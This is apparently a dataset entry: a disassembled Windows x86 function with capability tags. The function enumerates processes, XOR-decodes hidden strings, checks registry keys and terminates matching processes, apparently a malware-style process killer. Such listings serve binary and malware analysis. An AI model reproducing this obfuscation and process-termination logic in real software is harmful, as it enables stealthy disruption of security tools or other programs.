Function at 0x402b42
Capabilities:
Encode data using xor
Enumerate processes
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a4
mov eax, dword [0x473060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ebx
mov byte [ebp - 0x291], bl
mov byte [ebp - 0x292], bl
mov dword [ebp - 0x29c], edi
push ebx
push 2
mov dword [ebp - 0x290], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
lea eax, [ebp - 0x290]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x4032c3
jmp 0x4032ac
cmp byte [0x473b8a], 0
jne 0x402c0c
and dword [ebp - 0x4c], 0
lea edx, [ebp - 0x4c]
mov dword [ebp - 0x48], 1
xor esi, esi
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 3
mov dword [ebp - 0x3c], 4
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x2c], 8
mov dword [ebp - 0x28], 9
mov ecx, dword [edx]
mov al, cl
sub al, 0x2b
lea edx, [edx + 4]
xor byte [ecx + 0x473b80], al
inc esi
cmp esi, 0xa
jne 0x402bf0
mov byte [0x473b8a], 1
lea eax, [ebp - 0x26c]
push 0x473b80
push eax
call fcn.00446a95
pop ecx
pop ecx
test eax, eax
jne 0x4032ac
push dword [ebp - 0x288]
mov byte [ebp - 0x291], 1
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4032ac
test edi, edi
jle 0x402c60
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4032ac
push 7
pop esi
xor eax, eax
mov byte [ebp - 0x24], 0
cmp byte [0x473b78], 0
lea edi, [ebp - 0x23]
mov ecx, esi
mov dword [ebp - 0x2a0], 0x20
rep stosd dword es:[edi], eax
push 4
stosw word es:[edi], ax
stosb byte es:[edi], al
pop edi
jne 0x402d7a
and dword [ebp - 0xb8], 0
lea edx, [ebp - 0xb8]
mov dword [ebp - 0x9c], esi
xor esi, esi
mov dword [ebp - 0xb4], 1
mov dword [ebp - 0xb0], 2
mov dword [ebp - 0xac], 3
mov dword [ebp - 0xa8], edi
mov dword [ebp - 0xa4], 5
mov dword [ebp - 0xa0], 6
mov dword [ebp - 0x98], 8
mov dword [ebp - 0x94], 9
mov dword [ebp - 0x90], 0xa
mov dword [ebp - 0x8c], 0xb
mov dword [ebp - 0x88], 0xc
mov dword [ebp - 0x84], 0xd
mov dword [ebp - 0x80], 0xe
mov dword [ebp - 0x7c], 0xf
mov dword [ebp - 0x78], 0x10
mov dword [ebp - 0x74], 0x11
mov dword [ebp - 0x70], 0x12
mov dword [ebp - 0x6c], 0x13
mov dword [ebp - 0x68], 0x14
mov dword [ebp - 0x64], 0x15
mov dword [ebp - 0x60], 0x16
mov dword [ebp - 0x5c], 0x17
mov ecx, dword [edx]
mov al, cl
sub al, 0x2b
add edx, edi
xor byte [ecx + 0x473b60], al
inc esi
cmp esi, 0x18
jne 0x402d5c
push 7
mov byte [0x473b78], 1
pop esi
lea eax, [ebp - 0x298]
push eax
push 0x20019
push 0
push 0x473b60
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402e5c
and dword [ebp - 0x48], eax
lea edx, [ebp - 0x48]
mov dword [ebp - 0x2c], esi
xor esi, esi
mov dword [ebp - 0x144], 0x9d838294
mov dword [ebp - 0x140], 0x8f8f8a94
mov word [ebp - 0x13c], 0xdd
mov dword [ebp - 0x138], 9
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], 5
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x28], 8
mov ecx, dword [edx]
mov al, cl
sub al, 0x2b
add edx, edi
xor byte [ebp + ecx - 0x144], al
inc esi
cmp esi, 9
jne 0x402dff
lea eax, [ebp - 0x2a0]
mov byte [ebp - 0x13b], 1
push eax
lea eax, [ebp - 0x24]
push eax
push 0
push 0
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 0x298]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x298]
test eax, eax
jne 0x402e52
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40328e
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
jmp 0x402e62
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [0x473b58], 0
jne 0x402f62
and dword [ebp - 0xb8], 0
lea edx, [ebp - 0xb8]
mov dword [ebp - 0xb4], 1
xor esi, esi
mov dword [ebp - 0xb0], 2
mov dword [ebp - 0xac], 3
mov dword [ebp - 0xa8], 4
mov dword [ebp - 0xa4], 5
mov dword [ebp - 0xa0], 6
mov dword [ebp - 0x9c], 7
mov dword [ebp - 0x98], 8
mov dword [ebp - 0x94], 9
mov dword [ebp - 0x90], 0xa
mov dword [ebp - 0x8c], 0xb
mov dword [ebp - 0x88], 0xc
mov dword [ebp - 0x84], 0xd
mov dword [ebp - 0x80], 0xe
mov dword [ebp - 0x7c], 0xf
mov dword [ebp - 0x78], 0x10
mov dword [ebp - 0x74], 0x11
mov dword [ebp - 0x70], 0x12
mov dword [ebp - 0x6c], 0x13
mov dword [ebp - 0x68], 0x14
mov dword [ebp - 0x64], 0x15
mov dword [ebp - 0x60], 0x16
mov dword [ebp - 0x5c], 0x17
mov ecx, dword [edx]
mov al, cl
sub al, 0x2b
lea edx, [edx + 4]
xor byte [ecx + 0x473b40], al
inc esi
cmp esi, 0x18
jne 0x402f46
mov byte [0x473b58], 1
lea eax, [ebp - 0x298]
push eax
push 0x20019
push 0
push 0x473b40
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40303e
and dword [ebp - 0x48], eax
lea edx, [ebp - 0x48]
mov dword [ebp - 0x154], 0x9d838294
xor esi, esi
mov dword [ebp - 0x150], 0x8f8f8a94
mov word [ebp - 0x14c], 0xdd
mov dword [ebp - 0x148], 9
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x38], 4
mov dword [ebp - 0x34], 5
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x28], 8
mov ecx, dword [edx]
mov al, cl
sub al, 0x2b
lea edx, [edx + 4]
xor byte [ebp + ecx - 0x154], al
inc esi
cmp esi, 9
jne 0x402fef
lea eax, [ebp - 0x2a0]
mov byte [ebp - 0x14b], 1
push eax
lea eax, [ebp - 0x24]
push eax
push 0
push 0
lea eax, [ebp - 0x154]
push eax
push dword [ebp - 0x298]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x298]
test eax, eax
je 0x40328c
call edi
cmp byte [0x473aa0], 0
jne 0x4031b6
and dword [ebp - 0xe8], 0
lea edx, [ebp - 0xe8]
mov dword [ebp - 0xe4], 1
xor esi, esi
mov dword [ebp - 0xe0], 2
mov dword [ebp - 0xdc], 3
mov dword [ebp - 0xd8], 4
mov dword [ebp - 0xd4], 5
mov dword [ebp - 0xd0], 6
mov dword [ebp - 0xcc], 7
mov dword [ebp - 0xc8], 8
mov dword [ebp - 0xc4], 9
mov dword [ebp - 0xc0], 0xa
mov dword [ebp - 0xbc], 0xb
mov dword [ebp - 0xb8], 0xc
mov dword [ebp - 0xb4], 0xd
mov dword [ebp - 0xb0], 0xe
mov dword [ebp - 0xac], 0xf
mov dword [ebp - 0xa8], 0x10
mov dword [ebp - 0xa4], 0x11
mov dword [ebp - 0xa0], 0x12
mov dword [ebp - 0x9c], 0x13
mov dword [ebp - 0x98], 0x14
mov dword [ebp - 0x94], 0x15
mov dword [ebp - 0x90], 0x16
mov dword [ebp - 0x8c], 0x17
mov dword [ebp - 0x88], 0x18
mov dword [ebp - 0x84], 0x19
mov dword [ebp - 0x80], 0x1a
mov dword [ebp - 0x7c], 0x1b
mov dword [ebp - 0x78], 0x1c
mov dword [ebp - 0x74], 0x1d
mov dword [ebp - 0x70], 0x1e
mov dword [ebp - 0x6c], 0x1f
mov dword [ebp - 0x68], 0x20
mov dword [ebp - 0x64], 0x21
mov dword [ebp - 0x60], 0x22
mov dword [ebp - 0x5c], 0x23
mov ecx, dword [edx]
mov al, cl
sub al, 0x2b
lea edx, [edx + 4]
xor byte [ecx + 0x473a7c], al
inc esi
cmp esi, 0x24
jne 0x40319a
mov byte [0x473aa0], 1
lea eax, [ebp - 0x298]
push eax
push 0x20019
push 0
push 0x473a7c
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4032a6
and dword [ebp - 0x48], eax
lea edx, [ebp - 0x48]
mov dword [ebp - 0x164], 0x9d838294
xor esi, esi
mov dword [ebp - 0x160], 0x8f8f8a94
mov word [ebp - 0x15c], 0xdd
mov dword [ebp - 0x158], 9
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x38], 4
mov dword [ebp - 0x34], 5
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x28], 8
mov ecx, dword [edx]
mov al, cl
sub al, 0x2b
lea edx, [edx + 4]
xor byte [ebp + ecx - 0x164], al
inc esi
cmp esi, 9
jne 0x403243
lea eax, [ebp - 0x2a0]
mov byte [ebp - 0x15b], 1
push eax
lea eax, [ebp - 0x24]
push eax
push 0
push 0
lea eax, [ebp - 0x164]
push eax
push dword [ebp - 0x298]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x298]
test eax, eax
jne 0x4032a4
call edi
xor edi, edi
inc edi
push 0xbb8
mov dword [ebp - 0x29c], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4032ac
call edi
mov edi, dword [ebp - 0x29c]
lea eax, [ebp - 0x290]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x402b9f
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
cmp byte [ebp - 0x291], bl
je 0x4037bc
cmp byte [ebp - 0x292], bl
jne 0x4037bc
mov byte [ebp - 0x292], 1
lea edx, [ebp - 0x20]
mov dword [ebp - 0x134], 0x9188869a
mov esi, ebx
mov dword [ebp - 0x130], 0xdb8997
mov dword [ebp - 0x12c], 7
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 2
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x10], 4
mov dword [ebp - 0xc], 5
mov dword [ebp - 8], 6
mov ecx, dword [edx]
mov al, cl
sub al, 0x2b
lea edx, [edx + 4]
xor byte [ebp + ecx - 0x134], al
inc esi
cmp esi, 7
jne 0x40333b
push 1
lea eax, [ebp - 0x134]
mov byte [ebp - 0x12d], 1
push eax
mov ecx, 0x473de8
call fcn.00402433
cmp byte [0x473c61], bl
jne 0x403584
mov dword [ebp - 0x10c], esi
lea edx, [ebp - 0x128]
mov dword [ebp - 0x128], ebx
mov esi, ebx
mov dword [ebp - 0x124], 1
mov dword [ebp - 0x120], 2
mov dword [ebp - 0x11c], 3
mov dword [ebp - 0x118], 4
mov dword [ebp - 0x114], 5
mov dword [ebp - 0x110], 6
mov dword [ebp - 0x108], 8
mov dword [ebp - 0x104], 9
mov dword [ebp - 0x100], 0xa
mov dword [ebp - 0xfc], 0xb
mov dword [ebp - 0xf8], 0xc
mov dword [ebp - 0xf4], 0xd
mov dword [ebp - 0xf0], 0xe
mov dword [ebp - 0xec], 0xf
mov dword [ebp - 0xe8], 0x10
mov dword [ebp - 0xe4], 0x11
mov dword [ebp - 0xe0], 0x12
mov dword [ebp - 0xdc], 0x13
mov dword [ebp - 0xd8], 0x14
mov dword [ebp - 0xd4], 0x15
mov dword [ebp - 0xd0], 0x16
mov dword [ebp - 0xcc], 0x17
mov dword [ebp - 0xc8], 0x18
mov dword [ebp - 0xc4], 0x19
mov dword [ebp - 0xc0], 0x1a
mov dword [ebp - 0xbc], 0x1b
mov dword [ebp - 0xb8], 0x1c
mov dword [ebp - 0xb4], 0x1d
mov dword [ebp - 0xb0], 0x1e
mov dword [ebp - 0xac], 0x1f
mov dword [ebp - 0xa8], 0x20
mov dword [ebp - 0xa4], 0x21
mov dword [ebp - 0xa0], 0x22
mov dword [ebp - 0x9c], 0x23
mov dword [ebp - 0x98], 0x24
mov dword [ebp - 0x94], 0x25
mov dword [ebp - 0x90], 0x26
mov dword [ebp - 0x8c], 0x27
mov dword [ebp - 0x88], 0x28
mov dword [ebp - 0x84], 0x29
mov dword [ebp - 0x80], 0x2a
mov dword [ebp - 0x7c], 0x2b
mov dword [ebp - 0x78], 0x2c
mov dword [ebp - 0x74], 0x2d
mov dword [ebp - 0x70], 0x2e
mov dword [ebp - 0x6c], 0x2f
mov dword [ebp - 0x68], 0x30
mov dword [ebp - 0x64], 0x31
mov dword [ebp - 0x60], 0x32
mov dword [ebp - 0x5c], 0x33
mov dword [ebp - 0x58], 0x34
mov ecx, dword [edx]
mov al, cl
sub al, 0x2b
lea edx, [edx + 4]
xor byte [ecx + 0x473c2c], al
inc esi
cmp esi, 0x35
jne 0x403568
mov byte [0x473c61], 1
push 0x473c2c
call fcn.004024d9
test al, al
jne 0x4037b6
cmp byte [0x473c24], bl
jne 0x4037ac
mov dword [ebp - 0x128], ebx
lea edx, [ebp - 0x128]
mov dword [ebp - 0x124], 1
mov esi, ebx
mov dword [ebp - 0x120], 2
mov dword [ebp - 0x11c], 3
mov dword [ebp - 0x118], 4
mov dword [ebp - 0x114], 5
mov dword [ebp - 0x110], 6
mov dword [ebp - 0x10c], 7
mov dword [ebp - 0x108], 8
mov dword [ebp - 0x104], 9
mov dword [ebp - 0x100], 0xa
mov dword [ebp - 0xfc], 0xb
mov dword [ebp - 0xf8], 0xc
mov dword [ebp - 0xf4], 0xd
mov dword [ebp - 0xf0], 0xe
mov dword [ebp - 0xec], 0xf
mov dword [ebp - 0xe8], 0x10
mov dword [ebp - 0xe4], 0x11
mov dword [ebp - 0xe0], 0x12
mov dword [ebp - 0xdc], 0x13
mov dword [ebp - 0xd8], 0x14
mov dword [ebp - 0xd4], 0x15
mov dword [ebp - 0xd0], 0x16
mov dword [ebp - 0xcc], 0x17
mov dword [ebp - 0xc8], 0x18
mov dword [ebp - 0xc4], 0x19
mov dword [ebp - 0xc0], 0x1a
mov dword [ebp - 0xbc], 0x1b
mov dword [ebp - 0xb8], 0x1c
mov dword [ebp - 0xb4], 0x1d
mov dword [ebp - 0xb0], 0x1e
mov dword [ebp - 0xac], 0x1f
mov dword [ebp - 0xa8], 0x20
mov dword [ebp - 0xa4], 0x21
mov dword [ebp - 0xa0], 0x22
mov dword [ebp - 0x9c], 0x23
mov dword [ebp - 0x98], 0x24
mov dword [ebp - 0x94], 0x25
mov dword [ebp - 0x90], 0x26
mov dword [ebp - 0x8c], 0x27
mov dword [ebp - 0x88], 0x28
mov dword [ebp - 0x84], 0x29
mov dword [ebp - 0x80], 0x2a
mov dword [ebp - 0x7c], 0x2b
mov dword [ebp - 0x78], 0x2c
mov dword [ebp - 0x74], 0x2d
mov dword [ebp - 0x70], 0x2e
mov dword [ebp - 0x6c], 0x2f
mov dword [ebp - 0x68], 0x30
mov dword [ebp - 0x64], 0x31
mov dword [ebp - 0x60], 0x32
mov dword [ebp - 0x5c], 0x33
mov ecx, dword [edx]
mov al, cl
sub al, 0x2b
lea edx, [edx + 4]
xor byte [ecx + 0x473bf0], al
inc esi
cmp esi, 0x34
jne 0x403790
mov byte [0x473c24], 1
push 0x473bf0
call fcn.004024d9
mov byte [0x473d71], bl
test edi, edi
jle 0x4037da
inc edi
mov dword [ebp - 0x29c], edi
cmp edi, 0xb4
jge 0x4037e7
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402b6e
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov byte [0x473d71], bl
xor ecx, ebp
pop ebx
call fcn.004428c2
mov esp, ebp
pop ebp
ret